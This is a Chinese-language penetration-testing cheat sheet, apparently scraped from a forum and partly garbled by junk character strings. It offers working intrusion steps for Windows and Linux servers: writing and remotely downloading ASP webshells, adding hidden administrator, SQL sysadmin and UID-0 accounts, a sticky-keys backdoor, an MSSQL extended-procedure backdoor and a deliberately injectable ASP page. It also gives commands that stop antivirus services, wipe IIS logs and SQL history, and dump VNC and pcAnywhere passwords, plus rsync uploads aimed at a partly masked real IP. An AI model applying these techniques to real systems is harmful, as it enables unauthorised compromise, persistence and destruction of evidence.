渗透技巧总结

admin

旁站路径问题
, w+ f) V; h9 T. V1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
. d) @( q/ r: f        
( P, |6 t* N0 b1 L
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

) H# N* O2 m& C, i4 VUsage:Cscript vWeb.vbs",4096,"Lilo"
: T% p1 w" h9 }  x% [& b        WScript.Quit
. q5 V. [( C7 J+ t, Z! [% \End If
2 m' c+ k: T+ v5 O5 P# _4 S( YSet ObjService=GetObject
! f2 I' p- m* J) [: h6 Z# h$ g8 B9 A
8 b$ I. h3 [' I  _("IIS://LocalHost/W3SVC")
5 Q: h7 L& N( Z) C8 ?) L6 `For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
& z8 G+ C- {5 T% G
Then
: e! n) u- f8 Z/ l7 m% j                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
9 u2 }7 u6 A* {; C8 H         

3 ~: k4 g6 ?3 d) P6 p# E& L( p7 ?       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
2 \7 g" }, A8 I; Q                For Each Binds In OService.ServerBindings
     
  U3 X! y, n; K# ~
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
: U9 {1 r9 h$ i9 {9 _# M1 P7 e                        
: z' k) C6 v8 |( Z  x8 M
0 V- @3 k1 C0 J0 X( |. C: eWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
2 k4 M7 b4 w4 @9 f5 q# @5 g      
! Y1 W& y! n1 b$ B$ u+ [& b4 X
         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
; o( u3 A: h, M% Y- |& I) q- A复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
. G" T- F  [& m! A9 w" y/ P1 K——————————————————————
phpMyAdmin暴路径办法:
+ k7 S* f. {. p4 Z6 q5 Z" ophpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
% h" e1 I* K0 B& L- n- S+ a7 ephpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
) b& ]1 ], ^- ?4 H————————————————————
4 L! D- l8 q, y" Y! k- n* [% ZCMD下操作VPN相关
/ a, V- X  z$ ]2 v; Nnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
) H, f" p8 y& w7 qnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
, J7 F: Y+ f6 C) e% S————————————————————
8 R1 D! H8 Z7 {7 Y# d5 ?命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
9 P4 f: q$ h3 f$ ?" MEXEC sp_addsrvrolemember 'test, 'sysadmin'
$ ?* D* ]+ f6 F然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
# B1 _7 @6 V0 `1 W+ v# {0 G
8 I) e, N; d* E2 p( r$ m另类的加用户方法
$ |  \/ P: ^4 x9 |( ~. q8 x在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
: O0 \" P* u' s. Q+ u3 M  Q4 Nz=o.create("test") ;
z.changePassword("123456","")
" C6 t2 E$ B6 G, yz.setting("AccountType")=3;

7 B8 Y$ n/ t: H0 N. K5 H! V' svbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
; K5 H# T( j( A! x6 @z.changePassword "123456",""
; i$ w1 Z. N0 A! {z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
8 G" s0 d- M/ f2 ^cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
4 Z" b2 S6 }. D4 T8 Ga、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
; e0 U5 y4 w5 c+ Z1 x& e+ n1 eb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
' b% L* P& C4 O# c
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
- B% ]4 O4 p; L4 nnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
' B0 O5 m7 b8 I
卖咖啡：net stop "McAfee McShield"
————————————————————
1 M3 O; q; U( ~! C
; i$ m& @& i! H# ~, r8 G/ a( u7 K5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
! S' w& n+ f3 X, v: Ocopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
$ j$ y/ y$ ~% u2 T) t——————————————————————
隐藏账号添加：
0 Y, l- F' C: D4 j1 g& q: C- y7 G1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
# ]- k1 m4 G( i1 U) z/ k2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
# a4 a1 B( x. @. P3 U9 ^1 [——————————————————————
$ ~% z  M& }# z( m3 ]: s8 }+ K; vMSSQL扩展后门：
0 u2 F5 [  X  G8 y; y; f: j' K3 B% gUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
5 ]6 ?( U; ?/ m* {/ Dex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
+ ?- C( ?1 N3 u9 S用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

' X) t$ O7 o6 R" XMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
; \( `' j# O, q6 q' P* gHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
6 n! K+ ?7 F! s$ T+ O- P找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

2 N" w/ Y% t& ]7 v& E, GServer\90\Tools\Shell\mru.dat
—————————————————————————
0 Y8 G) Q) ^6 p4 b防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
# K8 }* f2 P: n8 I- u
<%
2 V/ E$ x+ U- b& C+ o) I& I3 z6 ]9 ySub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
+ Y' d& w" {! \1 e! h# ?$ x* C# I8 VDim Ads, Retrieval, GetRemoteData
On Error Resume Next
6 T6 a2 J8 O- m3 oSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
) P; _3 R$ R) i' f- LWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
- Z2 V* V& P9 @+ ?4 [: WGetRemoteData = .ResponseBody
0 E4 K! z. z% y6 n. O* {2 j3 H$ [End With
Set Retrieval = Nothing
$ d0 {% t: i& L  L; {Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
- p8 |+ n- e: R- P.Type = 1
$ w3 x, C& z1 j4 u) L.Open
. U* h9 F2 \+ G, ~6 M.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
, ]$ L* v3 F0 x& ^+ U' s1 w.Cancel()
.Close()
End With
8 h4 ^1 j2 C& R8 Z3 nSet Ads=nothing
0 P% ~, l1 O6 ^' f2 J: u. ~End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
! }% [( \# l$ E4 Q0 ^$ }9 Z
6 o( z. c4 S7 |$ `. @5 q" o0 RVNC提权方法:
% b- G3 G, }1 V" T- |* @5 G- w5 Z利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
* D0 j' ], t2 g2 e+ c注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
* k' Z1 k* Y! @& R/ |$ ]- S6 m( Kregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
. r8 T7 ~7 t6 T# o* M% {+ IRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
. ^5 n  l/ v$ c# ]) a# m3 U/ G! F4 _然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
" u/ W; v# s1 Z( {# M; s& M保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
" w% Z; Y) R4 bUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
0 e, k" W" \% U" Y: _——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
" L; a3 b8 {0 p3 f+ U2 F6 `* U( q来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
) Z6 m! j1 y% p! b9 o7 @没有删cmd组建的直接加用户。
: d7 h4 k7 y& p6 @. f; {3 p) q7 I+ ]7i24的web目录也是可写，权限为administrator。
' n- Y% V5 i( S: q
1433 SA点构建注入点。
' ?& L+ d9 z) ]: M0 ^9 I! G<%
strSQLServerName = "服务器ip"
8 p! b7 ]" K' ?3 {9 p* ?9 AstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
5 F: A' R& ~& G2 I& c" R% U9 QstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
0 |1 y1 A7 Z. S+ l, w7 q0 dstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
% e: j' ?3 }) r& q2 _: I
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
8 N- B; J/ c1 i- [
strSQLDBName & ";"
$ J* m. l: d) ^7 U7 uconn.open strCon
dim rs,strSQL,id
! A8 Q; h0 ?4 g8 ~; b. ~set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
. r8 `. _  `/ H; b0 C9 srs.close
%>
复制代码
# f( F+ c4 F2 R8 _******liunx 相关******
一.ldap渗透技巧
4 [: y& U! o6 \! t1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
: {+ C' y6 u# ]( rbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
; G- J, [' W" C/ i& `" \
3.查找管理员信息
  J. A! O3 A6 g( M* G5 J5 F: J$ d( S匿名方式
, S# R5 @0 _% W& {ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 C% \) N/ _% A# ~* T: @
* e1 j  ^3 b0 u$ I+ }"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ h0 u/ J- e4 L5 `" U* f有密码形式
3 s* _& p, e5 Q- q+ F; U: N3 g. Yldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# x6 _3 B6 {3 {4 C
* J! F: G' t) U/ Q"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 ^) q6 m  q7 q/ b% b4 c" p
1 M: y9 ]- p' l
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
5 ]- d+ O/ l" a0 M3 h' p
实战:
  _  G8 h0 A( ~& ^1.cat /etc/nsswitch
" s. B2 `/ O0 a- r看看密码登录策略我们可以看到使用了file ldap模式
) D( h" W. @! W2 F  r( d
' x- J6 F) q, t) b4 f- K1 @2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
% h, g* U! ?  y% z
3.查找管理员信息
; }8 G- E4 ^( y" D+ [: L3 ?1 T匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 e: w8 o( A0 u3 T有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ ^2 x2 ?7 C5 T; k

# N' b0 y5 a4 D5 F6 Y: o4.查找10条用户记录
* u+ L" ~6 E3 M1 f+ z, bldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

% p* v+ Z' S# Z+ D& w" |渗透实战:
  X$ j! Y; p: z3 b1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
4 X7 X9 h1 [3 a8 @version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
$ C3 z/ t, |" |' |6 o8 `1 H  y' `; b
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
; s" x" |. O- d3 d  M, c+ PobjectClass: organizationalPerson
objectClass: person
  \: U/ Q" F- \6 D0 ZobjectClass: top
$ j/ _5 D* m& \1 b2 `1 w* ]( _! Ksn: manager
3 P( g+ R8 ]% N( Ncn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
9 b1 y; M% p6 \objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
cn: superadmin

! Y% Q& i2 }6 y- ^& H2 ]dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
  u' d3 W. n/ U+ _objectClass: inetOrgPerson
; B; f/ \: D9 ~5 D4 M. d$ L9 pobjectClass: organizationalPerson
objectClass: person
objectClass: top
4 n/ h' D9 Y( o" G. X2 ]/ Rsn: admin
cn: admin
  V4 b, i5 v9 [( ~
) [7 W. f% j6 t! adn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
) B. c5 L, `' Wuid: dcp_anonymous
, `. _, y: \* y" p+ x0 uobjectClass: top
objectClass: person
3 x* J0 b! y. n/ l# K3 cobjectClass: organizationalPerson
* i1 m$ P0 F! A/ y. BobjectClass: inetOrgPerson
sn: dcp_anonymous
- y" \2 v" A" qcn: dcp_anonymous

4 b# }, o9 i; n3 P2.查看基类
9 @% O3 A7 j9 c1 Obash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
$ M: y  k- e6 T/ d1 `0 t
more
4 o& G; U$ e( G8 K3 Uversion: 1
3 N2 q+ P- r! t% {4 F) ^/ kdn: dc=ruc,dc=edu,dc=cn
8 p) Y5 L0 e- X# y1 X& bdc: ruc
objectClass: domain

3.查找
/ S4 O- d; r6 d0 Qbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
$ p4 d5 m, V# J& V) g* Sversion: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
4 t  ^6 x: v! k: `0 BsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
* N7 R2 g% Y6 o2 O4 U, ]supportedExtension: 2.16.840.1.113730.3.5.5
1 D8 V3 ?- g* Y. H# Z: V8 LsupportedExtension: 2.16.840.1.113730.3.5.6
* R* |$ X- f+ i" s: jsupportedExtension: 2.16.840.1.113730.3.5.4
- [6 t) f5 I1 n. RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
& ~/ d/ ^, V( ^9 PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
* L2 w/ l- {: n! `' L* ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
) r' R1 u0 F6 ^' x+ g; BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
+ n: w1 Q3 w% ]6 usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
3 f2 l, d% V3 c! y. osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
0 B  g9 e) S% Z/ L! n9 {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
! I# `5 P$ J. l! |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
8 d* l$ j7 i3 Z3 C7 U- PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
" t$ d1 B) ^" g0 d2 g: B0 e4 UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
* `: K7 ~9 {/ bsupportedExtension: 1.3.6.1.4.1.1466.20037
5 I  D, {2 n6 Y- b# N( X# `supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
7 a( W, e( p* C% d! ?/ p( n, qsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
# ^% {  P$ P8 `" ]! @supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
9 L/ o  ]( t/ a; N) f1 E: ksupportedControl: 2.16.840.1.113730.3.4.16
3 e( X1 W, x8 isupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
1 x7 y$ `4 y8 ~+ r! G6 z# o6 ~supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
* F1 h  R; L! Z8 }4 ?, b: XsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
2 [7 N/ m6 t5 Y* Y' wsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
3 L( o. z" V/ b* r; U6 tsupportedControl: 2.16.840.1.113730.3.4.13
3 [' p, W9 j9 Q$ \supportedSASLMechanisms: EXTERNAL
  L% a5 p! c, G' j1 zsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
/ L8 ~/ B/ C" k; ~1 x3 N1 RsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
0 }9 X6 `! q1 Q$ q6 w+ [  s+ ]! ~dataversion: 020090516011411
& i, H) t- @2 Tnetscapemdsuffix: cn=ldap://dc=webA:389
" J$ j$ m! t$ C/ Q; ^/ w! j7 RsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
! U+ ~, c: y: i' W. b. C) ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
; s' ^& X7 o$ u' s  c( ssupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
  \  t) ]( c' S) S' FsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
3 s7 S2 C3 p+ s7 {3 j' W) h6 @supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
( g* C! _: i- s5 t% `7 S9 FsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
6 L6 ?% \; F0 `5 J9 V: m6 x/ }0 ksupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
! Y1 W! M; U6 h  qsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
$ L4 c+ I7 z) N+ JsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
" z( `0 y& D4 `; D2 ^  V( CsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
% z( n7 V7 v2 K5 c0 ^  D* n% YsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
7 G) E" X, s* k  n- w6 EsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
4 |9 }0 K0 G' m( K: LsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
% b, A* D, P" E9 ?; SsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
" G! A! ]' d, y2 v' dsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
* t, h& I: W4 d. V" }# u: zsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
" Q1 k% b+ P# {& G! ~& L" {supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
9 r( z' E9 ?! G2 a/ c& [supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
( t7 i4 r0 v) A& x7 qsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
+ A& Z' w6 ]$ X0 w6 CsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
: n$ o5 A0 v! fsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
$ q) D, M0 Z0 F; P1 C# Q" _supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
5 D3 o% T$ E1 z" EsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
, N6 A$ g$ w* t2 ]5 zsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
& }) t5 C* ~8 g9 B7 H& n9 g1 r. hsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
4 ^. B# j% ~+ u/ KsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
% V7 _0 e  b* ?) I6 FsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
. f0 D! k8 q1 ?6 YsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
: z3 o0 {9 i: l5 @supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
4 j% u& d' z8 X! Y: d0 @, GsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
) i+ p+ x2 A/ nsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
  q: B+ K: H$ E: D1 Q" U: k  g————————————
2. NFS渗透技巧
% {* N, j  C# c6 s: I, D; Gshowmount -e ip
列举IP
——————
2 }, s: R* P8 u1 S- b3.rsync渗透技巧
. c/ S5 M6 t5 q1.查看rsync服务器上的列表
0 S) W! W" z9 P& hrsync 210.51.X.X::
finance
img_finance
2 i- @( \( W4 ^5 k* W) |; `auto
0 s" n$ W  d. N1 \: e5 x6 ]img_auto
html_cms
img_cms
ent_cms
6 I  H1 F0 }% K* N) m( ]& kent_img
ceshi
, }9 s9 g* k- a) |) {: ]" G* Lres_img
3 e( J; F$ j! F( R: ~res_img_c2
+ d! D( n5 N9 mchip
chip_c2
( P( ^2 O7 o5 p" E' tent_icms
games
gamesimg
2 g. Z0 l4 d! n9 }  O* ^media
mediaimg
fashion
7 n+ ?% n0 e% o$ c3 h' T+ xres-fashion
res-fo
taobao-home
res-taobao-home
  |) e7 T! s6 E( ehouse
1 X9 H  b5 C5 c6 }. ]5 Eres-house
2 D- a  z$ [9 F- o2 C9 D" Ures-home
. K6 L& T* A* F; a$ q; Dres-edu
res-ent
1 Q# V$ [2 |" B) Gres-labs
+ v) x5 o+ s- K9 N8 w: r8 l7 l! V) sres-news
! p2 n2 e9 n4 x9 u, Fres-phtv
) W* I6 w/ Z& g* J. Hres-media
home
+ I; X3 a& K. q2 Q  R  r0 xedu
news
res-book

$ c! c6 k& n: [# x# H& I* v0 H" d, F- \看相应的下级目录(注意一定要在目录后面添加上/)

  R. i* [8 P. H7 ^
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
$ v3 X: x- v9 X0 p- t
7 ^1 \6 p, E% `! p, K2.下载rsync服务器上的配置文件
6 @; a3 g! P( u! v7 \  A2 a9 Prsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

2 O4 r' q9 t! h6 L. O3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
- W6 H0 [  N( Z* A! A' onc -vv baidu.com 80
/ a1 y( z2 ~" A# H, Z9 t( |GET HTTP://www.sina.com / HTTP/1.0
  x8 S: a( y4 A3 YGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
; |/ Z; @" U8 _  q: B: r% c& t
9 R% u. v2 Y3 Y/ m3 p六.joomla渗透小技巧
+ ?  @' {" W- n" R8 G' j. v确定版本
: D3 u4 L! K" c. Z% r+ l5 jindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
1 b, {: e& s! y4 i3 N
3 f9 V8 }% H: G: F6 I15&catid=32:languages&Itemid=47

- ~- C8 Z! W; [9 [3 \* X重新设置密码
index.php?option=com_user&view=reset&layout=confirm
: Q  W- }3 M6 b/ O7 s- y
七: Linux添加UID为0的root用户
5 @: N$ X5 l' Ruseradd -o -u 0 nothack

! i! B) J/ U1 u  u  f. a5 _八.freebsd本地提权
5 K6 j5 Y: v% ~6 M[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
- J2 i" s* \4 v- Z, ]" h( B; k* [argp@julius ~]$ sysctl vfs.usermount
2 U: N& V% x2 ?; M7 ~. S* vfs.usermount: 1
4 L1 z/ r; l- O2 ]* [argp@julius ~]$ id
. ?- q$ g# G$ W" ^+ h1 c* uid=1001(argp) gid=1001(argp) groups=1001(argp)
